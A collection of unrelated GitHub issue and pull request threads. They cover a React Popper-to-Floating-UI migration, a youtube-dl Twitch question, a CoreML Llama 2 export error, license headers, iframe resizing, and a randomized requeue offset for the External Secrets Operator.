Motivation and Context

Continuing #98, this PR migrates the rest of the components, fixing rerendering issues in the process.
Full list of components now using Floating UI instead of Popper:

MultiSelect
Select
ComboBox
ContextMenu
DatepickerSelect
SectionedList
Table.OptionsMenu

All components were rerendering all options on every scroll event, even when closed. The only exception was Select, which only started to rerender when opened, but then still continued to rerender all items even after being closed. For a large list this caused huge performance issues.
Here is a benchmark of just scrolling a page with a closed Select component with 1000 elements:
BEFORE:

AFTER:

Notice the Scripting time on the chart for a 1000x difference. On average, the total render time for just 1 such Select was cut down from 26ms to ~5ms, so an 80% reduction in render time.
Implementation Description

New middleware matchWidthToReference, similar to the old sameWidthModifier, matches the width of the floating element to be the same as the width of the reference element.
ContextMenu offset changed from (-2, +4) to (+4, +4) for consistency, should also prevent accidental action triggers on double-right-clicks.
DatepickerSelect's width is still hardcoded at 16.25rem, as it doesn't depend on the Select's width but the whole Datepicker's width. A more proper fix would be to pass a header ref and use clientWidth, but our styling of ReactDatepicker shrinks it further, so the width won't be exact. Decided to not touch the structure and leave it as is.
The previous implementation was implicitly relying on the rerender of Table.OptionsMenu to clear the selected values. It now uses a key prop to force a reset of state. The alternative is to store the selected item state in Table.OptionsMenu, but it's not used anywhere else, so a key prop sounds more appropriate here.
The aria roles seem completely arbitrary, with both our tests and dropzone itself relying on them for functionality. Left all roles using dropzone intact with role='listbox'. Ideally, we should use useRole(context, { role: <ROLE> }) in all components. Looks like we need a separate accessibility pass to look into those as a whole.

Any new dependencies Introduced

Removed @popperjs/core and react-popper dependencies.
How Has This Been Tested?

Locally with a modified storybook to allow for scrolling (check one of the latest reverts for examples)
PR Checklist:

[x] I have implemented all requirements? (see JIRA, project documentation).
[x] I am not affecting someone else's work, If I am, they are included as a reviewer.
[x] I have added relevant tests (unit, integration or regression).
[x] I have added comments to all the bits that are hard to follow.
[x] I have added/updated Documentation.
[x] I have updated the appropriate changelog with a line for my changes.

Screenshots (if appropriate):

Hi Roman, great work, this is an awesome improvement!
Was playing with it locally and noticed that now the dropdown items don't always match the width of the select:

@patricia-causalens, it looks like the modifier was not applied to selects as applySameWidthModifier was checking specifically for === false before, even though the comment says it's true by default. Changed it to actually be true by default.
Also added an optional delta-width to the modifier and removed the width parsing logic entirely. All components should now match the width in the default configuration.


Update version in lfs.def

Version number of current release is 1.7

Coverage remained the same at 80.723% when pulling 92527d96199912f79b8046ddb32ff83a16771cb4 on TheCycoONE:lfsdefver17 into a23cadf009c5ea27b3da245a4b7c21de76b74dcc on keplerproject:master.

Ouch, sorry about the oversight.


Twitch clips download range

Checklist

[x] I'm asking a question
[x] I've looked through the README and FAQ for similar questions
[x] I've searched the bugtracker for similar questions including closed ones

Question

I try to download best clips from twitch channel with following command:
youtube-dl https://www.twitch.tv/username/clips?filter=clips&range=all
Downloading starting but only for clips that are 7 days old.
[download] Downloading playlist: username- Clips Top 7D
How to download best without 7 days range?

https://github.com/ytdl-org/youtube-dl#video-url-contains-an-ampersand-and-im-getting-some-strange-output-1-2839-or-v-is-not-recognized-as-an-internal-or-external-command


Tags

Tags are used as in WordPress and can be assigned to Posts (#5) in a Many to Many relationship.

Tags should all be hashtags. They should be forced to have the # sign at the beginning.

The main migration for this issue has been moved to different Laravel package, which will be required in this blog package:

https://github.com/drewroberts/media

The pivot table for the Many to Many relationship of Tags & Posts will still live in this blog package.

Would also like to use this style for Nova:
https://github.com/spatie/nova-tags-field


Export of Llama2 fails

I'm unable to use exporters for meta-llama/Llama-2-7b-chat-hf model.
Here is my command
python -m exporters.coreml --model=meta-llama/Llama-2-7b-chat-hf models/llama2.mlpackage

And here is the output
 % python -m exporters.coreml --model=meta-llama/Llama-2-7b-chat-hf models/llama2.mlpackage
Torch version 2.3.0 has not been tested with coremltools. You may run into unexpected errors. Torch 2.2.0 is the most recent version that has been tested.
/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/huggingface_hub/file_download.py:1132: FutureWarning: `resume_download` is deprecated and will be removed in version 1.0.0. Downloads always resume when possible. If you want to force a new download, use `force_download=True`.
  warnings.warn(
Loading checkpoint shards: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:30<00:00, 15.44s/it]
Using framework PyTorch: 2.3.0
Overriding 1 configuration item(s)
	- use_cache -> False
/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/transformers/modeling_utils.py:4371: FutureWarning: `_is_quantized_training_enabled` is going to be deprecated in transformers 4.39.0. Please use `model.hf_quantizer.is_trainable` instead
  warnings.warn(
The cos_cached attribute will be removed in 4.39. Bear in mind that its contents changed in v4.38. Use the forward method of RoPE from now on instead. It is not used in the `LlamaAttention` class
The sin_cached attribute will be removed in 4.39. Bear in mind that its contents changed in v4.38. Use the forward method of RoPE from now on instead. It is not used in the `LlamaAttention` class
/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/transformers/models/llama/modeling_llama.py:1094: TracerWarning: Converting a tensor to a Python boolean might cause the trace to be incorrect. We can't record the data flow of Python values, so this value will be treated as a constant in the future. This means that the trace might not generalize to other inputs!
  if sequence_length != 1:
Skipping token_type_ids input
Converting PyTorch Frontend ==> MIL Ops:   0%|                                                                                | 0/3690 [00:00<?, ? ops/s]Saving value type of int64 into a builtin type of int32, might lose precision!

ERROR - converting 'full' op (located at: 'model'):

Converting PyTorch Frontend ==> MIL Ops:   1%|▉                                                                                | 28/3690 [00:00<00:00, 5249.21 ops/s]
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/Users/user/LLAMA2/exporters/src/exporters/coreml/__main__.py", line 178, in <module>
    main()
  File "/Users/user/LLAMA2/exporters/src/exporters/coreml/__main__.py", line 166, in main
    convert_model(
  File "/Users/user/LLAMA2/exporters/src/exporters/coreml/__main__.py", line 45, in convert_model
    mlmodel = export(
              ^^^^^^^
  File "/Users/user/LLAMA2/exporters/src/exporters/coreml/convert.py", line 660, in export
    return export_pytorch(preprocessor, model, config, quantize, compute_units)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/LLAMA2/exporters/src/exporters/coreml/convert.py", line 553, in export_pytorch
    mlmodel = ct.convert(
              ^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/_converters_entry.py", line 581, in convert
    mlmodel = mil_convert(
              ^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/converter.py", line 188, in mil_convert
    return _mil_convert(model, convert_from, convert_to, ConverterRegistry, MLModel, compute_units, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/converter.py", line 212, in _mil_convert
    proto, mil_program = mil_convert_to_proto(
                         ^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/converter.py", line 288, in mil_convert_to_proto
    prog = frontend_converter(model, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/converter.py", line 108, in __call__
    return load(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/load.py", line 82, in load
    return _perform_torch_convert(converter, debug)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/load.py", line 116, in _perform_torch_convert
    prog = converter.convert()
           ^^^^^^^^^^^^^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/converter.py", line 581, in convert
    convert_nodes(self.context, self.graph)
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/ops.py", line 86, in convert_nodes
    raise e     # re-raise exception
    ^^^^^^^
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/ops.py", line 81, in convert_nodes
    convert_single_node(context, node)
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/ops.py", line 134, in convert_single_node
    add_op(context, node)
  File "/Users/user/anaconda3/envs/hf-exporters/lib/python3.11/site-packages/coremltools/converters/mil/frontend/torch/ops.py", line 4211, in full
    else NUM_TO_NUMPY_DTYPE[TORCH_DTYPE_TO_NUM[inputs[2].val]]
                            ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^
KeyError: 6

I was able to generate a mlpackage for distilbert-base-uncased-finetuned-sst-2-english, with this command: python -m exporters.coreml --model=distilbert-base-uncased-finetuned-sst-2-english --feature=sequence-classification models/defaults.mlpackage, so I have some confidence that the environment is correct and working.

I have the exact same issue

I get the same error when trying to convert: https://huggingface.co/HuggingFaceTB/SmolLM-1.7B
I'm wondering if this is one of the situations where the torch operation -> CoreML Operation mapping does not automatically work (i.e. requires us to write our own operator: https://apple.github.io/coremltools/docs-guides/source/custom-operators.html

I was able to convert a llama2 based model the other day (pretty sure I was using coremltools 8), however I have messed up my python environment and I can no longer convert them 🤦

@Proryanator Could you please provide more details about your fix? Thanks

@Proryanator Could you please provide more details about your fix? Thanks

Yeah sure! Let me collect the details (it was a bit complicated in the end).


Complete daily mission for record marker once a day using QE

Either beat the Master painting once a day or use a QE if using teleport stones

Master painting option added in 6.4

QE added in 6.5


Added type-hints to various methods and constructors

As promised in #417. This PR simply adds some type-hints to some constructors and methods where it isn't immediately clear what the parameters contain.

Fantastic, thanks for this @stevebauman! 👏🏻👏🏻👏🏻

Glad I can help! Thanks for merging this :heart:

Glad to see things improving here again 👍


Fix project license

1. Use LICENSE file according to the official guidelines
Replace the markdown formatted text of the license with the
original text file from https://www.apache.org/licenses/LICENSE-2.0.txt
according to the Apache Foundation guidelines https://www.apache.org/legal/apply-license.html

To apply the ALv2 to a new software distribution, include one copy of the license
text by copying the contents of LICENSE-2.0.txt into a file called LICENSE
in the top directory of your distribution.

In addition to the license text this file includes APPENDIX,
which describes how apply the Apache license.
2. Add copyright notice to project files
According to the Apache 2.0 License requirements https://www.apache.org/legal/apply-license.html

Each original source document (code and documentation, but not the LICENSE and NOTICE files)
should include a short license header at the top.

(also if we do that, I would suggest we check for some substring like "Licensed under the Apache License, Version 2.0" rather than a specific copyright date + name)

Do we need to copyright migration files since they are mostly generated from another piece of work?

Other than conflicts, this looks good. :+1:


Excel VBA for the Mac OSX

The CodeName property of a sheet does not resolve on Excel for the Mac.  It would be helpful to include tips or other topics under See Also for Mac development.  Perhaps a single page that summarizes all of these changes with sample code for handling those differences.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2965e668-1d91-bb15-13b9-e52a0b45a399
Version Independent ID: 2b46fead-a76e-6029-33f9-7750e480340c
Content: Worksheet.CodeName property (Excel)
Content Source: api/Excel.Worksheet.CodeName.md
Product: excel
GitHub Login: @o365devx
Microsoft Alias: o365devx

For those looking for a workaround, I created a custom property for each worksheet named "CodeName" and set its value to the CodeName using Excel for Windows.


angular ifram resizer

Hello .
i need to use angular variable within src attribute  like this :
<ifram src="{{ url }}" ></ifram>
resizer dosn't work in such case , do u have any idea ?

Prehaps "iframe" instead of "ifram"?

i'm sorry it is just typing error
 <iframe src="{{url}}" width="100%" scrolling="no" frameborder="0"></iframe>
it doesn't resize  , if the url was static it works very well

You are missing the "id" attribute for the iframe which you pass to iFrameResize().

The code will add an id if one is missing.

Normally people inject the whole iFrame tag into the page and then call iFrameResizer.
I think here you are likely calling iFrame Resizer too early. Wait until angular has injected {{url}} into the page.

I solved the problem by adding this
  <script type="text/javascript">         iFrameResize({  checkOrigin: false  });  </script>
it works now :)

OK now I understand the issue.


Property type dedicated to filepath in contribution points

According to the documentation page of Contribution Points of Visual Studio Code, a property can have only one of the following type: number, string, boolean, object or array:

type
Entries of type number, string, boolean can be edited directly in the Settings UI.
For boolean entries, the description (or markdownDescription) will be used as the label for the checkbox.
Other types, such as object and array, aren't exposed directly in the settings UI, and can only be modified by editing the JSON directly. Instead of controls for editing them, users will see a link to Edit in settings.json as shown in the screenshot above.

Therefore, if I want a property that will contain a file path, I should use the string type.
The issue with the string type is the user has to type the file path manually (or copy-paste it). It can be interesting to have a dedicated type for filepath that can open a file browser to help the user selecting the file/folder associated to this property.

I do not think we can allow a type called filepath as we use JSON schema. It seems it is needed only for UI for allowing a file picker.

I think having extra metadata for this sort of thing would make sense. There is an open issue for it here: https://github.com/microsoft/vscode/issues/56834


Add missing request options for the directions API

Hey @ryankurte !
This one is just to add some missing parameters from the Mapbox Directions API, does it look good to you?
Cheers,
Cédric

Actually, I also need to add the related structs (e.g. for banner instructions).

merged as is since it seems like an improvement regardless, thanks for the PR @cmorent !


Support for GCM priority

Hey @cubicdaiya, any update on this? :)

@cubicdaiya
When will this PR be merged?
We take this PR by ourselves and fork it, so if possible we want you to merge.

@yutachaos feel free to fork this PR


Need to be able to configure the other settings stored on the blaster

The settings currently supported by the blaster only a few are remotely configurable using the BLE characteristics. The remaining settings need to be configurable over this mechanism.

Added the other characteristics directly into the develop branch.


Add randomized offset to mitigate reconciliation spikes

Is your feature request related to a problem? Please describe.
When all ExternalSecret resources in a Kubernetes cluster are created at approximately the same time, or if the External Secrets Operator was down for a while and reconciles all tasks at once, the Reconciler processes all tasks simultaneously. This results in request spikes and AWS API throttling in large clusters.
Describe the solution you'd like
Introduce a randomized offset to the RequeueAfter duration in the reconciliation logic. This randomization would distribute the reconciliation tasks over time, mitigating the simultaneous execution issue.
Describe alternatives you've considered
Manually recreating all ExternalSecret resources gradually distributed over time.
Additional context
This problem was observed when multiple ExternalSecret resources were created simultaneously in a cluster. The graphs attached illustrate the issue, showing how reconciliation events align and cause spikes. A randomized offset would help spread these tasks over time.

Proposed solution
The patch is pretty straightforward.
diff --git a/cmd/root.go b/cmd/root.go
index 3b6c99d2..72843836 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -80,6 +80,7 @@ var (
        enableFloodGate                       bool
        enableExtendedMetricLabels            bool
        storeRequeueInterval                  time.Duration
+       requeueRandomizedOffset               time.Duration
        serviceName, serviceNamespace         string
        secretName, secretNamespace           string
        crdNames                              []string
@@ -224,6 +225,7 @@ var rootCmd = &cobra.Command{
                        RestConfig:                mgr.GetConfig(),
                        ControllerClass:           controllerClass,
                        RequeueInterval:           time.Hour,
+                       RequeueRandomizedOffset:   requeueRandomizedOffset,
                        ClusterSecretStoreEnabled: enableClusterStoreReconciler,
                        EnableFloodGate:           enableFloodGate,
                }).SetupWithManager(mgr, controller.Options{
@@ -302,6 +304,7 @@ func init() {
        rootCmd.Flags().BoolVar(&enableConfigMapsCache, "enable-configmaps-caching", false, "Enable configmaps caching for ALL configmaps in the cluster (WARNING: can increase memory usage).")
        rootCmd.Flags().BoolVar(&enableManagedSecretsCache, "enable-managed-secrets-caching", true, "Enable secrets caching for secrets managed by an ExternalSecret")
        rootCmd.Flags().DurationVar(&storeRequeueInterval, "store-requeue-interval", time.Minute*5, "Default Time duration between reconciling (Cluster)SecretStores")
+       rootCmd.Flags().DurationVar(&requeueRandomizedOffset, "requeue-randomized-offset", 0, "Randomized offset to add to the requeue interval.")
        rootCmd.Flags().BoolVar(&enableFloodGate, "enable-flood-gate", true, "Enable flood gate. External secret will be reconciled only if the ClusterStore or Store have an healthy or unknown state.")
        rootCmd.Flags().BoolVar(&enableExtendedMetricLabels, "enable-extended-metric-labels", false, "Enable recommended kubernetes annotations as labels in metrics.")
        fs := feature.Features()

diff --git a/docs/api/controller-options.md b/docs/api/controller-options.md
index 7fbcd6a2..ffc14f4f 100644
--- a/docs/api/controller-options.md
+++ b/docs/api/controller-options.md
@@ -11,28 +11,29 @@ The external-secrets binary includes three components: `core controller`, `certc

 The core controller is invoked without a subcommand and can be configured with the following flags:

-| Name                                          | Type     | Default | Description                                                                                |
-|-----------------------------------------------|----------|---------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `--client-burst`                              | int      | 100     | Maximum Burst allowed to be passed to rest.Client                                                                                |
-| `--client-qps`                                | float32  | 50      | QPS configuration to be passed to rest.Client                                                                                |
-| `--concurrent`                                | int      | 1       | The number of concurrent reconciles.                                                                                |
-| `--controller-class`                          | string   | default | The controller is instantiated with a specific controller name and filters ES based on this property                                                               |
-| `--enable-cluster-external-secret-reconciler` | boolean  | true    | Enables the cluster external secret reconciler.                                                                                |
-| `--enable-cluster-store-reconciler`           | boolean  | true    | Enables the cluster store reconciler.                                                                                |
-| `--enable-push-secret-reconciler`             | boolean  | true    | Enables the push secret reconciler.                                                                                |
-| `--enable-secrets-caching`                    | boolean  | false   | Enable secrets caching for ALL secrets in the cluster (WARNING: can increase memory usage).                                                                        |
-| `--enable-configmaps-caching`                 | boolean  | false   | Enable configmaps caching for ALL configmaps in the cluster (WARNING: can increase memory usage).                                                                  |
-| `--enable-managed-secrets-caching`            | boolean  | true    | Enable secrets caching for secrets managed by an ExternalSecret.                                                                                |
-| `--enable-flood-gate`                         | boolean  | true    | Enable flood gate. External secret will be reconciled only if the ClusterStore or Store have an healthy or unknown state.                                          |
-| `--enable-extended-metric-labels`             | boolean  | true    | Enable recommended kubernetes annotations as labels in metrics.                                                                                |
-| `--enable-leader-election`                    | boolean  | false   | Enable leader election for controller manager. Enabling this will ensure there is only one active controller manager.                                              |
-| `--experimental-enable-aws-session-cache`     | boolean  | false   | Enable experimental AWS session cache. External secret will reuse the AWS session without creating a new one on each request.                                      |
-| `--help`                                      |          |         | help for external-secrets                                                                                |
-| `--loglevel`                                  | string   | info    | loglevel to use, one of: debug, info, warn, error, dpanic, panic, fatal                                                                                |
-| `--zap-time-encoding`                         | string   | epoch   | loglevel to use, one of: epoch, millis, nano, iso8601, rfc3339, rfc3339nano                                                                                |
-| `--metrics-addr`                              | string   | :8080   | The address the metric endpoint binds to.                                                                                |
+| Name                                          | Type     | Default | Description                                                                                |
+|-----------------------------------------------|----------|---------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `--client-burst`                              | int      | 100     | Maximum Burst allowed to be passed to rest.Client                                                                                |
+| `--client-qps`                                | float32  | 50      | QPS configuration to be passed to rest.Client                                                                                |
+| `--concurrent`                                | int      | 1       | The number of concurrent reconciles.                                                                                |
+| `--controller-class`                          | string   | default | The controller is instantiated with a specific controller name and filters ES based on this property                                                              |
+| `--enable-cluster-external-secret-reconciler` | boolean  | true    | Enables the cluster external secret reconciler.                                                                                |
+| `--enable-cluster-store-reconciler`           | boolean  | true    | Enables the cluster store reconciler.                                                                                |
+| `--enable-push-secret-reconciler`             | boolean  | true    | Enables the push secret reconciler.                                                                                |
+| `--enable-secrets-caching`                    | boolean  | false   | Enable secrets caching for ALL secrets in the cluster (WARNING: can increase memory usage).                                                                       |
+| `--enable-configmaps-caching`                 | boolean  | false   | Enable configmaps caching for ALL configmaps in the cluster (WARNING: can increase memory usage).                                                                 |
+| `--enable-managed-secrets-caching`            | boolean  | true    | Enable secrets caching for secrets managed by an ExternalSecret.                                                                                |
+| `--enable-flood-gate`                         | boolean  | true    | Enable flood gate. External secret will be reconciled only if the ClusterStore or Store have an healthy or unknown state.                                         |
+| `--enable-extended-metric-labels`             | boolean  | true    | Enable recommended kubernetes annotations as labels in metrics.                                                                                |
+| `--enable-leader-election`                    | boolean  | false   | Enable leader election for controller manager. Enabling this will ensure there is only one active controller manager.                                             |
+| `--experimental-enable-aws-session-cache`     | boolean  | false   | Enable experimental AWS session cache. External secret will reuse the AWS session without creating a new one on each request.                                     |
+| `--help`                                      |          |         | help for external-secrets                                                                                |
+| `--loglevel`                                  | string   | info    | loglevel to use, one of: debug, info, warn, error, dpanic, panic, fatal                                                                                |
+| `--zap-time-encoding`                         | string   | epoch   | loglevel to use, one of: epoch, millis, nano, iso8601, rfc3339, rfc3339nano                                                                                |
+| `--metrics-addr`                              | string   | :8080   | The address the metric endpoint binds to.                                                                                |
 | `--namespace`                                 | string   | -       | watch external secrets scoped in the provided namespace only. ClusterSecretStore can be used but only work if it doesn't reference resources from other namespaces |
-| `--store-requeue-interval`                    | duration | 5m0s    | Default Time duration between reconciling (Cluster)SecretStores                                                                                |
+| `--store-requeue-interval`                    | duration | 5m0s    | Default Time duration between reconciling (Cluster)SecretStores                                                                                |
+| `--requeue-randomized-offset`                 | duration | 0       | Randomized offset to add to the requeue interval.                                                                                |

 ## Cert Controller Flags

diff --git a/pkg/controllers/externalsecret/externalsecret_controller.go b/pkg/controllers/externalsecret/externalsecret_controller.go
index d18e1a4b..171c415c 100644
--- a/pkg/controllers/externalsecret/externalsecret_controller.go
+++ b/pkg/controllers/externalsecret/externalsecret_controller.go
@@ -20,6 +20,7 @@ import (
        "errors"
        "fmt"
        "maps"
+       "math/rand"
        "slices"
        "strings"
        "time"
@@ -135,6 +136,7 @@ type Reconciler struct {
        RestConfig                *rest.Config
        ControllerClass           string
        RequeueInterval           time.Duration
+       RequeueRandomizedOffset   time.Duration
        ClusterSecretStoreEnabled bool
        EnableFloodGate           bool
        recorder                  record.EventRecorder
@@ -563,7 +565,11 @@ func (r *Reconciler) getRequeueResult(externalSecret *esv1beta1.ExternalSecret)

        // if there is time remaining, requeue after the remaining time
        if timeSinceLastRefresh < refreshInterval {
-               return ctrl.Result{RequeueAfter: refreshInterval - timeSinceLastRefresh}
+               requeueAfter := refreshInterval - timeSinceLastRefresh
+               if r.RequeueRandomizedOffset > 0 {
+                       requeueAfter += time.Duration(rand.Int63n(int64(r.RequeueRandomizedOffset)))
+               }
+               return ctrl.Result{RequeueAfter: requeueAfter}
        }

        // otherwise, requeue immediately

Please let me know your opinion on whether this solution is appropriate. I can make additional changes and/or create a merge request.

Hello.
Thanks for the suggestion. Introducing a jitter could certainly solve some of the headaches, however, it could introduce a lot of others. For example, since the jitter doesn't disappear after this event it will introduce problems during further processing when expected reconciliation should happen.
Sadly, the actual solution is a bit more involved. It would entail some kind of provider aware rate limiting, with monitoring of response times from the provider, progressive back-offs with priority queue implementation and some way of tracking this. I could also imagine updating the ES object and add information such as:
    rateLimit:
      requestsPerSecond: 100
      burstLimit: 150
    backoff:
      initialDelay: 5s
      maxDelay: 300s
      factor: 2
    prioritization:
      enabled: true
      criticalNamespaces:
        - kube-system
        - security

The unpredictable reconcile time could cause problems.
That said, this might be a good first thing to do I guess. What if we would only do this during startup and then reconcile normally afterwards? I guess that wouldn't alleviate the problem when many ESs reconcile at the same time.
The other problem with the randomize is that it could potentially miss reconcile windows for an ES or reconcile them too close to each other.
Hmmm... Second / Third opinions @thesuperzapper @moolen @gusfcarvalho ?

The only real solution is to build our own rate limiting for normal reconciles (e.g. some kind of rate limited which wraps the reconcile function, separate to the exponential backoff and global rate limits).
For reference, this is what crossplane does.
However, I am not sure we know enough about what the specific "event" means (which only includes a name/namespace for a specific ES) to do any per-provider rate limits.

Also, a lot of the problems people have are because of the current exponential backoff on failure being way too quick at the beginning (it tries like 10 times in the first few seconds).
I imagine that once we fix that, it would take a seriously large amount of external secrets to cause problems.

In this case I think the problem is due to normal operations.
Also, AWS rate limits are 10k calls per second… which is not at all aligned with what’s shown in the picture.
I think this is unrelated to ExternalSecrets and something else is triggering the rate limit 🙂

Also worth to point out ☝  provider rate limits are global and not really bound to only external-secrets. If crossplane, other external-secrets instances, crazy lambda functions, a very unhappy user hammering the API with a CLI bash script on loop - all of these will trigger rate limits and there is nothing we can do about it.
IMO, provider rate limits is something we should not take account for at all 😄

Finally, @AleksejsCudovs what I suggest you to do is to review ExternalSecret manifests... chances are there are optimizations that can be done at manifest level (using dataFrom.find as opposed to data) that will strongly help with the number of calls a given external-secrets operator does.
I even recently wrote a blog post about it: https://externalsecrets.com/blog/aws-paramater-store-rate-limit/ 😄

Thank you for chiming in Peeps. :)

Thank you all for the detailed response! Let me provide a bit more context.
The graphs I shared are from a test cluster, just to demonstrate that simply introducing an offset helps address the issue. Currently, we manage multiple clusters with approximately 5,000 secrets in total, and this number is constantly growing. Using dataFrom.find is indeed a great optimization that can significantly reduce the number of requests. However, as the number of secrets continues to grow, it’s only a matter of time before we hit the same limits again.
I agree with you that we shouldn’t rely on provider rate limiting, as it can be triggered by various factors outside our control. Instead, let’s focus on the behavior of the External Secrets Operator.
Currently, upon startup, the operator attempts to reconcile all secrets simultaneously and updates the refreshTime for all ExternalSecret resources to nearly the same value. This synchronization then triggers reconciliations for all resources at the same time, causing unnecessary CPU, network traffic, and request spikes.
My suggestion is to distribute the reconciliation events more evenly across the refreshInterval. This would help balance the load over time and avoid the spikes caused by synchronized reconciliations.
Please let me know your thoughts.

Thank you all for the detailed response! Let me provide a bit more context.
The graphs I shared are from a test cluster, just to demonstrate that simply introducing an offset helps address the issue. Currently, we manage multiple clusters with approximately 5,000 secrets in total, and this number is constantly growing. Using dataFrom.find is indeed a great optimization that can significantly reduce the number of requests. However, as the number of secrets continues to grow, it’s only a matter of time before we hit the same limits again.
I agree with you that we shouldn’t rely on provider rate limiting, as it can be triggered by various factors outside our control. Instead, let’s focus on the behavior of the External Secrets Operator.
Currently, upon startup, the operator attempts to reconcile all secrets simultaneously and updates the refreshTime for all ExternalSecret resources to nearly the same value. This synchronization then triggers reconciliations for all resources at the same time, causing unnecessary CPU, network traffic, and request spikes.
The default behavior is fine for most use cases. However, for environments with a large number of ExternalSecret resources, this can lead to significant reconciliation spikes, which can easily be avoided by distributing reconciliation events more evenly across the refreshInterval.
Please let me know your thoughts.

The behavior you're seeing is probably driven from the fact that you have many concurrent set up - this means reconciles are in parallel. There isn't any operation we can do at startup time that would prevent all of the concurrent flags to trigger virtually at the same time.
By the number of Secrets you have, you'll end up rate limiting anyways unless you specify a random timer of a couple of minutes - which then you should probably just spec out your manifests better
All of these are workarounds to me for a problem we do not own (the API being rate limited for whatever the reason).

Out of curiosity, did you try reducing the number of concurrent you have set up? I believe this will be enough to even this distribution out anyways.

Also worth to point out - if ExternalSecrets objects are created evenly distributed - even on a fresh startup of ESO reconciler, this issue should not happen as status.RefreshTime is already set. The real issue happens when all of the objects are reconciled for the first time at the same time. -> so maybe we can add a jitter to this operation only.

ESO resets the RefreshTime to the same value if it has been down for more than the refreshInterval.

ESO resets the RefreshTime to the same value if it has been down for more than the refreshInterval.

right, because we mark as Done from the start of the reconcile time.
IMO 👆 that could be better done within //otherwise requeue immediately - adding a random duration from refreshInterval should be enough (and within spec). WDYT?

A bit more numbers. Currently, we have the following settings: refreshInterval: 5m and --concurrent=8. We are not yet using dataFrom.findand total number of keys exceeds 20,000. While it's acceptable for secrets to not update immediately given these numbers, the current behavior still causes unnecessary spikes during reconciliations.
Adding jitter at startup and/or in the //otherwise requeue immediately case appears to be a promising solution to distribute reconciliations more evenly. I will experiment with different values and share the results.

Now that I'm reading - I like the requeuing gracefully option the best 😄 as in theory we are already out of refreshInterval contract anyways.

I'm considering different corner cases that can cause RefreshTime synchronization:

Many ExternalSecret resources are created simultaneously.
The ESO has been down for longer than the refreshInterval leading to RefreshTime in the past.
A short network issue causes delays in getProviderSecretData, and RefreshTime ends up clustering together when the network resolves.

Do you know of any additional scenarios?
Rather than addressing each case separately, perhaps it's worth introducing a RequeueAfter randomizer option? For example, instead of setting refreshInterval: 1m, configure it as rand(refreshInterval: 2m).
What do you think?

I like the randomizer idea as long as this is not like more parameters for us to maintain! and that's where it gets tricky.
for 1 and 3: can you reproduce rate spike errors when just creating ExternalSecrets (case 1) in your test cluster? Because for me it will really only be a problem if anyone has concurrent as big as the number of objects created. In your case, only 8 objects would really reconcile at the same time, the next batch would already naturally be in the future as it is when the next reconcile happens.
That's why I think only 2 really needs addressing (but maybe I'm wrong). At least case 1 can be easily tested to see if that's actually the case!

Thank you all for the great conversation. Simply decreasing the --concurrent value, as suggested, also works. However, the main drawback of this approach is the need to fine-tune the value based on the cluster size and continuously monitor it as the number of secrets grows. That's why I still believe that spreading the reconciliations evenly across the refreshInterval is an easy and universal solution to mitigate all kinds of corner cases. With that said, I think we can consider this issue resolved and close it.


build database

Hi Piyush,
I found your platform superb, suddenly I wanted to climb locally but I have a problem with the database, can you please explain to me how to prepare the necessary data.

You need to create a MongoDB database (https://account.mongodb.com/account/login) and then add the connection URL and database name in the .env.local(check .env.local.example file --- you can rename it to .env.local to use locally and add require info in that  ) file
Mongodb Database
Use mongodb connection url with driver node.js and version 2.2.12 or later
MONGODB_URI=
Your database name
MONGODB_DB=


[Bug Report] switch component cannot be disabled

Mint UI version
2.2.2
OS/Browsers version
chrome 53
Vue version
2.2.6
Reproduction Link
https://jsfiddle.net/eeuxnkct/
Steps to reproduce
<div id="app">
  <mt-switch v-model="input" :disabled="disabled"> I cannot be disabled </mt-switch>
  <mt-button :disabled="disabled" @click='clicked'>I can be disabled</mt-button>
</div>

var vm = new Vue({
  el: '#app',
  data: {
    disabled: true,
    input: true,
  },
  methods: {
    clicked: function() { alert('clicked');   },
  }
})

What is Expected?
mt-switch be disabled;
mt-button be disabled
What is actually happening?
only mt-button be disabled;
mt-switch was not be disabled

because there is no disable option for switch component

I raise this issue because I think it should have this option.

+1

+1

Is there another way to disable switch?


Inspect and edit deferred commands just before they are applied?

What problem does this solve or what need does it fill?
